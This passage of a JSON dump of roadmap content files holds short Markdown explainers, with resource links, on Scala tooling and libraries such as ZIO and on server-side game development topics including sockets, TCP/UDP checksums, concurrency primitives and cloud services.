    "content": "# VS Code\n\nVisual Studio Code (VS Code) is a popular IDE known for its lightweight design and extensive customization options. When equipped with the Metals extension, VS Code becomes a powerful tool for Scala development, offering features like code completion, refactoring, debugging, and integration with build tools like sbt and Maven.\n\nVisit the following resources to learn more:\n\n- [@official@Visual Studio Code](https://code.visualstudio.com/)\n- [@official@Install Metals for VS Code](https://marketplace.visualstudio.com/items?itemName=scalameta.metals#overview)"
  },
  {
    "path": "src/data/roadmaps/scala/content/working-with-strings@Z_cGu1NZ6wh7qkEw2Knyf.md",
    "content": "# Working with Strings\n\nScala offers various ways to manipulate strings, such as combining them (concatenation), finding their length, or extracting parts of them. String interpolation is a feature that lets you embed variables directly within strings, making it easier to build dynamic text. For example, you can use `s\"My name is $name\"` where `name` is a variable, and Scala will replace `$name` with its actual value when the string is created.\n\nVisit the following resources to learn more:\n\n- [@official@String Interpolation | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/string-interpolation.html)\n- [@article@String Interpolation in Scala | Baeldung on Scala](https://www.baeldung.com/scala/string-interpolation)\n- [@article@Scala - String Interpolation](https://www.tutorialspoint.com/scala/scala_string_interpolation.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/youtube@ToGJzk3ZpvQsUwOFicxW2.md",
    "content": "# YouTube\n\nYouTube can be a fantastic resource for learning Scala. On the platform, you can find a wide variety of content, from beginner-friendly tutorials introducing basic concepts to in-depth explanations of advanced topics. Many experienced Scala developers and educators create and share their knowledge on YouTube, often demonstrating practical examples and real-world applications, allowing learners to visually grasp the concepts and follow along with code demonstrations.\n\nVisit the following resources to learn more:\n\n- [@video@Rock the JVM](https://www.youtube.com/@rockth)\n- [@video@Software Mill - YouTube channel](https://www.youtube.com/@SoftwareMillCom)\n- [@video@Dev Inside You](https://www.youtube.com/@DevInsideYou)\n- [@video@Scala Days - YouTube channel](https://roadmap.sh/r/www.youtube.com/@ScalaDaysConferences)\n- [@video@IntelliJ IDEA x Scala](https://youtube.com/playlist?list=PLPZy-hmwOdEVDwhWoNSyT7OejCBxgjfsL&si=Jvr-ltV3xUud1jpH)\n- [@video@FP Tower](https://www.youtube.com/@fptower-programming)"
  },
  {
    "path": "src/data/roadmaps/scala/content/zed@uvw1H2RybuU979G7yZWy6.md",
    "content": "# Zed\n\nZed is a modern, lightweight, and highly performant code editor designed for efficiency and ease of use. It offers features like real-time collaboration, a minimalistic interface, and editing capabilities. While Zed is not specifically designed for Scala development, its extensibility and support for various programming languages make it a versatile tool for developers. With the Metals plugin, Zed provides intelligent code completion, diagnostics, and refactoring capabilities for Scala.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Editor - Zed](https://zed.dev/languages/scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/zio-streams@jkWYgSLimg3O7ddN_8rb-.md",
    "content": "# ZIO Streams\n\nZIO Streams is a purely functional streaming library that uses the ZIO runtime. It is designed for working with large or infinite data, providing automatic backpressure handling, non-blocking and asynchronous processing, and a rich set of stream combinators. ZIO Streams ensures resource safety and efficient processing, making it suitable for building scalable and resilient streaming applications.\n\nVisit the following resources to learn more:\n\n- [@article@ZIO Streams Introduction on Rock the JVM](https://rockthejvm.com/articles/zio-streams-introduction)\n- [@article@Introduction to ZIO Streams on Baeldung](https://www.baeldung.com/scala/zio-streams-intro)"
  },
  {
    "path": "src/data/roadmaps/scala/content/zio-test@7ki2PYRU5cJqwqMbC4wOz.md",
    "content": "# ZIO Test\n\nZIO Test is a testing library for Scala that makes it easy to test effectual programs. It is tightly integrated with ZIO, allowing tests to be treated as immutable values, which simplifies testing asynchronous and concurrent code. ZIO Test provides features like resource management, property-based testing, and support for various platforms, including JVM, ScalaJS, Dotty, and Scala Native.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to ZIO Test | ZIO](https://zio.dev/reference/test/)\n- [@article@Testing ZIO Applications Using ZIO Test | Baeldung on Scala](https://www.baeldung.com/scala/zio-test)\n- [@article@Test Aspects in ZIO Test | Baeldung on Scala](https://www.baeldung.com/scala/zio-test-aspects)"
  },
  {
    "path": "src/data/roadmaps/scala/content/zio@e7zcJd-SAYV_LGAZPCnSa.md",
    "content": "# ZIO\n\nZIO is a Scala framework designed for asynchronous and concurrent programming. It emphasizes type safety, composability, and resource safety, making it suitable for building scalable and resilient applications. The ZIO ecosystem includes libraries for HTTP, logging, configuration, streams, and testing, all built on top of ZIO's effect system. ZIO's fibers are lightweight and non-blocking, providing high performance and scalability.\n\nVisit the following resources to learn more:\n\n- [@course@ZIO Course on Rock the JVM](https://rockthejvm.com/courses/zio)\n- [@official@ZIO Official Website](https://zio.dev/)\n- [@opensource@ZIO GitHub Repository](https://github.com/zio/zio)\n- [@article@Introduction to ZIO on Baeldung](https://www.baeldung.com/scala/zio-intro)"
  },
  {
    "path": "src/data/roadmaps/scala/content/zio@y4ulspoL7KKUilPG98KWd.md",
    "content": "# ZIO\n\nZIO is a Scala framework for asynchronous and concurrent programming. It is designed to be type-safe, composable, and highly scalable, allowing developers to build safe applications. ZIO provides a comprehensive set of tools for managing resources, handling concurrency, and ensuring program safety. It leverages the full power of the Scala compiler to catch bugs at compile time and allows for easy construction of concurrent applications without deadlocks, race conditions, or complexity.\n\nVisit the following resources to learn more:\n\n- [@opensource@GitHub - zio/zio: ZIO - A type-safe, composable library for async and concurrent programming in Scala](https://github.com/zio/zio)\n- [@article@Introduction to ZIO | Baeldung on Scala](https://www.baeldung.com/scala/zio-intro)\n- [@article@What is ZIO? - Overview, Benefits and Case Studies](https://scalac.io/zio/)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/actor-model@KUQEgHldZPOLwFoXqQ2vM.md",
    "content": "# Actor Model\n\nThe **Actor Model** is a conceptual model to deal with concurrent computation. It defines some general rules for how the system's components should behave and interact with each other. In the Actor Model, each object (actor) has its own private state and communication with other actors is done by exchanging messages. Actors read messages from a personal mailbox and may change their own inner state, create more actors, or send messages to other actors. The Actor Model makes it easier for developers to write concurrent and distributed systems by providing high-level abstractions over low-level threading details."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/address-conversion@SBA7pa9o0AM0ZEBepd7UM.md",
    "content": "# Address Conversion\n\nIn socket programming, address conversion functions are important for handling internet addresses. Functions like `inet_pton()` (presentation to network) and `inet_ntop()` (network to presentation) are frequently used. `inet_pton()` function converts an IP address in human-friendly format (IPv4 addresses in dotted-decimal notation or IPv6 addresses in hexadecimal notation) to its equivalent binary form. Conversely, `inet_ntop()` function does the reverse, i.e., it converts an IP address in binary form to human-friendly format. These functions are important tools when dealing with IP addresses in lower-level network programming."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/ai@dkCVwuy8GKeEi3VJar_Zo.md",
    "content": "# AI\n\nArtificial Intelligence (AI) in server side game development refers to the use of algorithms and computational procedures to create systems capable of performing tasks that would require human intelligence. Such tasks include learning and adapting to change, recognizing speech, or even making decisions. In game development, AI is often used to give non-player characters (NPCs) their own 'intelligence', making them even more life-like. This could be as simple as the ability to follow a player around in an environment, or as complex as crafting strategies for combat. AI can also be used to generate procedurally or dynamically generated content, creating potentially infinite unique experiences for the player. AI in games is often programmed in a way where it must strike a balance between appearing intelligent and providing an enjoyable experience for the player."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/akka-java@eAEpEUVZcSKO9uCIlMN5y.md",
    "content": "# Akka (Java)\n\nAkka is an open-source toolkit and runtime simplifying the construction of concurrent and distributed applications on the JVM. It implements the Actor Model for handling concurrency, allowing developers to create systems that can handle high volumes of transactions in a distributed environment. Yet, Akka is not only about Actors, it features other tools for building reactive applications, including Event Sourcing, CQRS, Cluster Sharding, and Distributed Data. Written in Scala and providing APIs in both Scala and Java, Akka powers numerous business-critical systems in sectors such as finance, tech, streaming, and others."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/akknet-c@SsOz9Pj6Jc_55PgpmziL6.md",
    "content": "# Akka.net (C#)\n\n\"Akka.NET\" is a toolkit and a runtime for designing concurrent and distributed applications. This technology is directly inspired by the Actor Model concept, implementing its principles to create robust and highly functional server-side applications. Akka.NET allows developers to create systems that are capable of handling millions of messages in a concurrent manner while maintaining high performance. It supports actor-based concurrency, network and cloud distribution, and powerful event sourcing techniques. Building systems with Akka.NET involve not only working with primary actors but also working with different types, including the likes of Persistent actors, FSM (Finite State Machine) actors and more. Please remember, Akka.NET is a part of the broader Akka toolkit, which also includes libraries for Java and Scala."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/amazon-ml@U0RlO_puezQPZP0-iBXgW.md",
    "content": "# Amazon ML\n\nAmazon Machine Learning (Amazon ML) is a robust, cloud-based service that makes it easy for developers of all skill levels to use machine learning technology. It provides visualization tools and wizards that guide you through the process of creating machine learning (ML) models without needing to learn complex ML algorithms and technology. With Amazon ML, you can create and train your data models, and then use those models to make predictions. These predictions can be used to implement sophisticated applications, such as user trend detection, sentiment analysis, fraud detection, and much more."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/apache-kafka@gL7hubTh3qiMyUWeAZNwI.md",
    "content": "# Apache Kafka\n\nApache Kafka is an open-source stream-processing software platform developed by LinkedIn and donated to the Apache Software Foundation. It is written in Scala and Java and operates based on a message queue, designed to handle real-time data feeds. Kafka functions as a kind of message broker service in between the data producers and the consumers, facilitating efficient transmission of data. It can be viewed as a durable message broker where applications can process and reprocess streamed data. Kafka is a highly scalable and fault-tolerant system which ensures data delivery without loss.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Kafka Quickstart](https://kafka.apache.org/quickstart)\n- [@video@Apache Kafka Fundamentals](https://www.youtube.com/watch?v=B5j3uNBH8X4)\n- [@feed@Explore top posts about Kafka](https://app.daily.dev/tags/kafka?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/apache-spark@yrWiWJMSyTWxDakJbqacu.md",
    "content": "# Apache Spark\n\nApache Spark is an open-source, distributed computing system used for big data processing and analytics. It offers an interface for programming entire clusters with impeccable data parallelism and fault tolerance. With its high-level APIs in Java, Scala, Python and R, it provides a framework for distributed task dispatching, scheduling and basic I/O functionalities. Notable modules include SQL and DataFrames, MLlib for machine learning, GraphX for graph processing, and Structured Streaming for incremental computation and stream processing. Apache Spark can run standalone, on Hadoop, or in the cloud, and is capable of accessing diverse data sources such as HDFS, Apache Cassandra, Apache HBase, and Amazon S3.\n\nVisit the following resources to learn more:\n\n- [@official@ApacheSpark](https://spark.apache.org/documentation.html)\n- [@article@Spark By Examples](https://sparkbyexamples.com)\n- [@feed@Explore top posts about Apache Spark](https://app.daily.dev/tags/spark?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/api@a2pcxVTGdAPw8aLvdr19M.md",
    "content": "# API\n\nAPI (Application Programming Interface) is a set of rules and protocols implemented for building and integrating software applications. APIs enable two different software applications to communicate and work together. They work as a bridge connecting two software systems, enabling them to exchange information and execute functions. In the context of server-side game development and socket programming, APIs may be used to handle connection establishment, data transmission, and other necessary network communication operations. APIs can be customized or built based on standard protocols such as HTTP for web services, or TCP/UDP for lower-level socket communications."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/arp@JI_wUdT2hjsrvbIhLvHcT.md",
    "content": "# ARP\n\n**ARP** or **Address Resolution Protocol** is a protocol used to map an IP address to a physical address on the network, such as a MAC address. A device uses ARP when it needs to forward a packet to another device on the same network but only has the IP address. ARP broadcasts a request packet to all devices on the local network to find who owns the IP address. The device with the matching IP address replies with its MAC address. ARP maintains a cache of previously resolved addresses to minimize traffic. It is an essential protocol in network communication, but it also exposes certain security vulnerabilities like ARP spoofing."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/asnc-await-c@mAXMpUDmhGOncnCRrENJv.md",
    "content": "# Async-await (C#)\n\n`Async/await` are extensions of Promises in JavaScript that allow for handling asynchronous code in a more synchronous manner. Using `async` keyword before a function, means the function returns a Promise. On the other hand, `await` keyword is used to pause async function execution until a Promise is resolved or rejected, and to resume execution of the async function after fulfillments. Before the `await` keyword, the Promise resolves to the actual value. Notably, `await` only works within async function block."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/asynchronous@ThBxS9xIMt9OrXfnto3rW.md",
    "content": "# Asynchronous\n\n**Asynchronous programming** is a programming paradigm where the execution of functions or routines does not wait for the activities within them to complete before moving on to subsequent ones. This allows for tasks to be processed independently, making the most of system resources. When a function contains an operation such as I/O, database access, or network communication, which may take a long time to complete, this function is wrapped into a future or promise and sent for execution. Meanwhile, the core program continues to run. When the wrapped function gets executed, a callback function is used to notify that the computation or I/O is complete. This forms the core of non-blocking or asynchronous execution. It is widely used in server-side programming, game development, and any scenario where I/O latency or user experience is a concern. Notably, it is at the core of Node.js and many modern web frameworks."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/aws@Rkx2A6oWsddlCTseZlpRU.md",
    "content": "# Amazon Web Services\n\n**Amazon Web Services (AWS)** is a secure cloud services platform offered by Amazon. It provides a broad set of infrastructure services, such as computing power, storage options, networking and databases, delivered on-demand with pay-as-you-go pricing. AWS services assist server side game developers in many tasks such as storing player data, syncing games across devices, and even hosting multiplayer game servers. These services help developers scale their games to a world-wide audience without the need for up-front investments in costly hardware and infrastructure. A popular choice for start-ups and large game development companies alike, AWS has an extensive, feature-rich set of tools that allow developers to deploy, monitor and scale applications quickly."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/azure-ml@vBqwmlzoT5XVEhV9IeGso.md",
    "content": "# Azure ML\n\nAzure ML is a cloud-based service provided by Microsoft for building, training, and deploying machine learning models. It provides a suite of tools including automated machine learning and model management services, bolstering the productivity of data scientists and making complex machine learning tasks more achievable. Azure ML is designed to work with popular data science and machine learning frameworks such as PyTorch, TensorFlow, and scikit-learn. It bestows the capabilities of handling large volumes of data, providing scalability, and offering real-time insights. Furthermore, it supports open-source technologies, making it flexible for a wide array of applications. Azure ML stresses on high-level security and compliance, complying with major global and industry-specific standards. It's a comprehensive tool aimed at accelerating the entire machine learning lifecycle."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/azure@73uoFNGcCALxIuRNbebav.md",
    "content": "# Microsoft Azure\n\nAzure is Microsoft's public cloud computing platform. Azure provides a broad spectrum of cloud services, including those for analytics, storage, and networking. As a server-side game developer, you can use these functionalities to build, deploy, and manage applications and services through Microsoft-managed data centers. Furthermore, Azure supports a wide range of tools and frameworks, including both Microsoft-specific and third-party software. It also offers 4 different forms of cloud computing: infrastructure as a service (IaaS), platform as a service (PaaS), software as a service (SaaS), and serverless. Each allows developers to choose the level of control and complexity they wish to maintain over their application and infrastructure."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/barrier@6k25amPkU9lnZ7FMNn_T6.md",
    "content": "# Barrier\n\n`Barrier` in server-side game development refers to a type of synchronization method that can help manage multiple threads in a game's code. When a barrier point is set, all threads that reach this point are prevented from progressing until all the threads have reached this barrier. This functionality is a crucial aspect in synchronization to prevent inconsistencies and unsynchronized access to shared resources. It allows developers to ensure all processes are completed or all information is updated before moving on to the next step in the game's runtime. Barriers can be applied in various instances such as, but not limited to, game start-up, level completion, or during more complex inter-thread communications.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/bsd-socket@U_tZFM80W3xJx8jj4skCr.md",
    "content": "# BSD Socket\n\nThe BSD sockets API is an application programming interface (API) for network communication originally developed as part of the Berkeley Software Distribution (BSD). This API provides a set of functions for creating and manipulating network sockets in operating systems. It has been widely adopted in a variety of platforms due to its simplicity and ease of use for networking tasks. The BSD socket API supports various network protocols and is extensible to support new protocols. It allows low-level access to network services, with the facilities to manage connections, send and receive data, and handle multiple connections concurrently. The API supports both connection-oriented (TCP) and connectionless (UDP) network protocols."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/byte-manipulation@H21PanCggDfQt34-JzgfO.md",
    "content": "# Byte Manipulation\n\n`Byte manipulation`, in the context of socket programming, often refers to the ability to directly interact and manage bytes of data. This could involve creating, modifying, or reading individual bytes or groups of bytes. Common operations include shifting (moving bytes to the left or right), masking (using a binary AND operation to make certain bits 0), and bitwise operations (working with the individual bits within a byte). Byte manipulation commonly takes place in server side game development when dealing with network data or working with specific binary protocols. The ability to accurately manipulate bytes is an essential skill when handling and optimizing the transfer of data between a server and a client."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/c@DuyUc9a-47Uz03yr4aeyg.md",
    "content": "# C#\n\nC Sharp, usually written as C#, is a powerful, object-oriented programming language developed by Microsoft in the early 2000s. C# was designed to be a part of the .NET ecosystem and has its syntax foundations based on C and C++. Over time, C# has evolved to include several modern programming features like generics, asynchronous methods, and support for LINQ queries. Thanks to the .NET Core's cross-platform support, C# can now be used to write applications that run on Windows, Linux, and macOS. While it's widely used to create Windows desktop applications and games, it's also popular for developing web applications, server-side components, and even mobile applications via Xamarin."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/capability@5kF1fqr-mn5-15e3aMa9k.md",
    "content": "# Capability\n\nIn server-side game development, `capability` basically refers to the potential of the server in terms of supporting the game mechanics, the players, the network traffic, and other elements that allow the game to function effectively. Hosting servers condition the player's game interface and user experience, incorporating the aspects of speed, smooth game flow, glitch prevention, and high-performance gameplay. Certain servers have higher capabilities, supporting complex games with vast virtual environments, numerous players, and extensive data traffic. Their capacity extends to facilitating updates and patches immediately. On the other hand, servers with lower capabilities might only cater to simpler games. Ultimately, the `capability` of an IP server is a key factor in developing and maintaining a successful online, multiplayer, or large-scale game."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/cassandra@1jqSxk1nwByiQa1De81F3.md",
    "content": "# Cassandra\n\nApache Cassandra is an open-source, distributed NoSQL database system that is designed to manage large volumes of data across a wide range of servers. It provides high availability with no single point of failure. Cassandra is often used for applications where data is distributed across multiple locations as it has superior replication mechanisms. It utilizes a peer-to-peer architecture, as opposed to master-slaves, which allows for continuous availability and scalability. Cassandra also provides robust support for clusters spanning multiple datacenters, with asynchronous masterless replication allowing low latency operations for all clients."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/category@NH2eQ1_nij1icTgoO027b.md",
    "content": "# Category\n\nThe Internet Protocol Addresses (IP Addresses) are categorized into five different classes, namely, Class A, Class B, Class C, Class D, and Class E.\n\n**Class A** IP address is designed for large networks and ranges from 0.0.0.0 to 127.255.255.255. \n\n**Class B** IP addresses are allocated to medium-sized and large-sized networks and ranges from 128.0.0.0 to 191.255.255.255. \n\n**Class C** IP addresses are utilized for small-sized networks and ranges from 192.0.0.0 to 223.255.255.255. \n\n**Class D** IP address is designed for multicast groups and ranges from 224.0.0.0 to 239.255.255.255. \n\nLastly, **Class E** IP address ranges from 240.0.0.0 to 255.255.255.254 and is preserved for research and development purposes."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/cc@E4H3hniIW6hKpH3Qr--N5.md",
    "content": "# C / C++\n\n\"C\" and \"C++\", often written as \"C/CPP\", are two significantly prominent and similar programming languages widely used in server-side game development. \"C\" is a procedural language, which means that it follows a step-by-step procedure to solve a problem, while \"C++\" is both a procedural and object-oriented programming (OOP) language. This dual nature of \"C++\" allows it to handle more complex interrelated data and functions efficiently, which is a beneficial feature in game development. Moreover, \"C++\" is an extension of \"C\", meaning that any legal \"C\" program is also a valid \"C++\" program. Both languages offer a high degree of control over system resources and memory, making them an excellent choice for building fast and efficient server-side applications, such as multiplayer game servers.\n\n- [@article@C Programming Language](https://en.wikipedia.org/wiki/C_%28programming_language%29)\n- [@article@C++ Programming Language](https://en.wikipedia.org/wiki/C%2B%2B)\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/channel@SXOEMkcVYBsRza6BPmmwy.md",
    "content": "# Channel \n\nA **channel** is a synchronization primitive used to communicate between concurrent tasks or \nthreads, particularly in asynchronous programming. In server-side game development, channels \nare frequently used to manage data flow between different components, such as game logic, \nnetwork communication, and I/O operations. `Channels` provide a thread-safe way to pass messages \nor data between coroutines or threads without the need for complex locks, reducing the chances \nof race conditions. This makes them ideal for handling tasks like event propagation, message \npassing, or coordinating actions in multiplayer game servers. `Channels` often work in \nconjunction with futures and promises to efficiently manage concurrency and improve overall \ngame performance.\n\nVisit the following resources to learn more:\n\n- [@documentation@Go Channel Documentation](https://golang.org/doc/effective_go.html#channels)  \n- [@documentation@Rust Channels for Concurrency](https://doc.rust-lang.org/book/ch16-02-message-passing.html)\n- [@article@Comprehensive Guide to Channel](https://elixir-lang.org/getting-started/processes.html#using-processes-and-messages)  "
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/checksum@XxBl-zO7CF6DpOZ2bMDxJ.md",
    "content": "# Checksum\n\nA **checksum** in TCP (Transmission Control Protocol) is a 16-bit field in the TCP header used to perform error checks on the segments. TCP stack computes the checksum value for the data transmitted and sends it along with the data to the receiving system. The receiving system re-computes the checksum and compares it with the value sent along with the data. If both the computed values match, the data is assumed to be free from transmission errors. However, if the computed values don't match, TCP will detect a possible change in received data, and the receiver will request for the re-transmission of the lost or corrupted data packets. Please note that while the checksum operation helps to ensure data integrity, it is not entirely foolproof as it might not detect all possible errors, particularly those that involve multiple bit changes."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/checksum@tBOvBpDi3SOKZjAmkxdM0.md",
    "content": "# Checksum\n\nThe `checksum` is an important element in UDP that ensures the integrity and validation of the data being transmitted. It computes the total sum of all the bytes in a packet and incorporates it as an additional `checksum` field in the UDP header. When the packet arrives at its destination, this process is repeated and compared with the included `checksum`. If a match is observed, the packet is deemed valid. If not, it signifies that an error occurred during transmission possibly due to noise or any third-party interference. In such a case, the packet is simply dropped, as UDP does not initiate any retransmission or error correction procedure. This is why a perfect output cannot be guaranteed with UDP, nor can it determine whether all the recipients are receiving the packets properly."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/cipher@1788KFqsQBkYARqA0T5GX.md",
    "content": "# Cipher\n\n**Cipher** is a vital component in the field of cryptography and is used to encrypt and decrypt information. It is essentially a series of well-defined steps or algorithms followed to convert sensitive information or data into a form that appears to be random and meaningless. This transformed information can only be turned back into its original form with a specific decryption key. Based on their methodology, ciphers are broadly classified into two categories: block ciphers and stream ciphers. Block ciphers work on a chunk of data at once, whereas stream ciphers work on a individual bits or bytes. Examples of ciphers include: Caesar Cipher, Monoalphabetic Cipher, and Vigenere Cipher among others. Usage of ciphers enhances the security in server-side game development by ensuring that player data remains confidential and is not subjected to unauthorized access or manipulation."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/cloud-ml@XvvlvDKfYRCcYtTdWohsd.md",
    "content": "# Cloud ML\n\n`Cloud Machine Learning` or `Cloud ML` is a branch of Artificial Intelligence that utilizes cloud computing services to provide machine learning capabilities. It enables developers and data scientists to build, train, and deploy machine learning models in a cloud-based environment. Cloud ML platforms usually offer a range of pre-trained models and services for tasks like image recognition, natural language understanding, and predictive analytics. These platforms support popular ML frameworks, such as TensorFlow and PyTorch, which can be used to design custom models. Importantly, Cloud ML abstracts the complex infrastructure management associated with large-scale ML computations providing users with more agile, scalable, and accessible machine learning solutions."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/cloud@hhtqvFfTCuVPT0OPu4Y1a.md",
    "content": "# Cloud\n\nThe **cloud** refers to servers that are accessed over the Internet, and the software and databases that run on those servers. By using cloud technology, data can be accessed from anywhere via the Internet, rather than from a local server or a personal computer. Cloud services are typically provided by different companies, such as Google, Amazon, and Microsoft. There are three main types of cloud computing: Infrastructure as a Service (IaaS), Platform as a Service (PaaS) and Software as a Service (SaaS). Examples of the cloud in gaming include multiplayer online games, game streaming and digital distribution platforms. The cloud is also used in game development for testing, development, and distribution of games."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/concurrency-java@RT9XvlxvIM_hHTtNmbva3.md",
    "content": "# Concurrency (Java)\n\nConcurrency is a property of systems that allows multiple tasks to run in an overlapped or simultaneous manner. This is widely used in server side game development where it is common to have multiple players interfacing with the system at the same time. It is essential to keep the system responsive and efficient under high load. Concurrency is often achieved through multithreading or asynchronous programming. Multithreading involves multiple threads of execution within a single program, with each thread running on a separate processor core. Asynchronous programming, on the other hand, achieves concurrency by allowing tasks to progress without waiting for other tasks to complete. This can be particularly useful in situations where tasks involve I/O operations or network requests, which can take a significant amount of time to complete, and would otherwise block the execution of other tasks."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/condition-variable@xR6pERldq4wPl9GVLHAhT.md",
    "content": "# Condition Variable\n\nA `condition variable` is an object that has the ability to block the calling thread until notified to resume. It's used in conjunction with a `mutex` (or `lock`) in the synchronization of threads. A condition variable is made up of a mutex (or lock) and a waiting queue. Typically, a condition variable is used when a thread needs to wait until a certain condition is met. The thread will lock the mutex, check the condition, and if the condition isn't met, it will enter the waiting queue and unlock the mutex. When the condition is met, another thread will notify the condition variable, prompt it to wake up a thread from the waiting queue, and relock the mutex. It's important to mention that condition variables are subject to spurious wakeups and lost wakeups, hence developers need to manage them carefully."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/congestion-control@1GML0Jsfdb1Fn-0PNryiQ.md",
    "content": "# Congestion Control  \n\n**Congestion control** is a fundamental mechanism in `TCP` that prevents excessive data \ntransmission from overwhelming the network, ensuring stable and efficient communication. \nIn server-side game development, congestion control helps maintain smooth gameplay by \ndynamically adjusting the data flow based on network conditions. `TCP` employs various \ncongestion control algorithms, such as `Reno`, `CUBIC`, and `BBR`, to detect congestion and \nreduce packet loss. These algorithms regulate the senders transmission rate using strategies \nlike slow start, congestion avoidance, and fast recovery. Proper tuning of congestion control \nmechanisms is critical for minimizing lag, preventing packet drops, and optimizing multiplayer\ngame performance, especially in high-traffic scenarios.  \n\nVisit the following resources to learn more:\n\n- [@article@Congestion Control in Linux TCP](https://www.usenix.org/conference/2002-usenix-annual-technical-conference/congestion-control-linux-tcp)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/congestion-control@jsNsyrGzegVnjIF2l52vI.md",
    "content": "# Congestion Control\n\n`Congestion Control` is a critical feature of TCP, but not inherently a part of UDP. The primary purpose of congestion control is to prevent too much data from being sent into the network such that it can't handle the traffic, leading to packet loss. TCP's congestion control mechanism adjusts the data send rate based on the perceived network congestion. UDP does not provide congestion control by itself. However, this does not mean congestion control can't be implemented if you're using UDP. Developers can implement a custom congestion control mechanism over UDP, but it requires substantial understanding and careful management to achieve this without creating network or server performance issues.</div>"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/connection-hijacking@ubRiY3jdh3iS3diN482IU.md",
    "content": "# Connection Hijacking\n\n`Connection hijacking`, also known as session hijacking, is a serious security threat in the realm of server side game development. It refers to the exploitation of a valid computer session, or more precisely, the intrusion of an unauthorized user into a valid connection between two nodes or endpoints. The attacker intercepts the traffic between these two nodes, thereby 'hijacking' the connection. In game development, this could involve intercepting information between a game server and a client's system. Connection hijacking could expose sensitive data, tamper with the data in transit, or even redirect clients to rogue servers. Hence, implementing necessary security protocols to mitigate such vulnerability is crucial."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/connection@5sI3RHaLudq4TfpjoYeOp.md",
    "content": "# Connection\n\n`Connection` in server-side game development refers to the establishment of a link between the game server and the game client (usually the player's device). This connection can either be persistent or non-persistent, depending on the game’s requirements. Persistent connections remain active as long as the user is logged in, facilitating real-time communication between the server and the client. Non-persistent connections, on the other hand, are established and discontinued as needed. This element is crucial in multiplayer games where the server handles the synchronization of data among multiple clients, enabling players to interact with each other in the same virtual environment."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/containerization@k3FJY26SVxdZx4MLLE25h.md",
    "content": "# Containerization\n\nContainerization in game development refers to the usage of software like Docker, Kubernetes, or similar tools to encapsulate the game's server-side functionality into a single, deployable package. These units, known as containers, include everything the software needs to run, such as libraries, system tools, code, and runtime. Containers are platform-agnostic, meaning they can work across different operating environments in the same way. This enables developers to create a consistent experience, reduce the risk of software conflicts, and facilitate easier updates and deployment of their games. Unlike Virtual Machines (VMs), containers do not include whole operating systems, which makes them more lightweight and efficient to run. Developers can run multiple containers on the same machine, each handling different aspects of the server-side functionality. Containers can also communicate with each other, enabling more efficient use of resources."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/coroutine@o0Y_hM0KXUApfsXG4PvOY.md",
    "content": "# Coroutine  \r\n\r\n**Coroutines** are lightweight, cooperative multitasking constructs that enable efficient asynchronous programming in server-side game \r\ndevelopment. Unlike traditional threads, coroutines allow functions to be paused and resumed without blocking the entire execution \r\nthread, making them ideal for handling game logic, networking, and AI behavior with minimal overhead. They work seamlessly with \r\nfuture & promise mechanisms, simplifying concurrency management by avoiding callback hell and reducing synchronization complexity. \r\nCoroutines are widely supported in modern languages like C++ (via `std::coroutine`), Python (`asyncio`), and Kotlin, offering game \r\ndevelopers an efficient way to write non-blocking code while maintaining readability and performance.  \r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@documentation@C++ Coroutines (cppreference)](https://en.cppreference.com/w/cpp/language/coroutines)\r\n- [@documentation@Python Coroutines and Tasks](https://docs.python.org/3/library/asyncio-task.html)\r\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/couchbase@6KTj_giX2k9l2lPd_Fp-d.md",
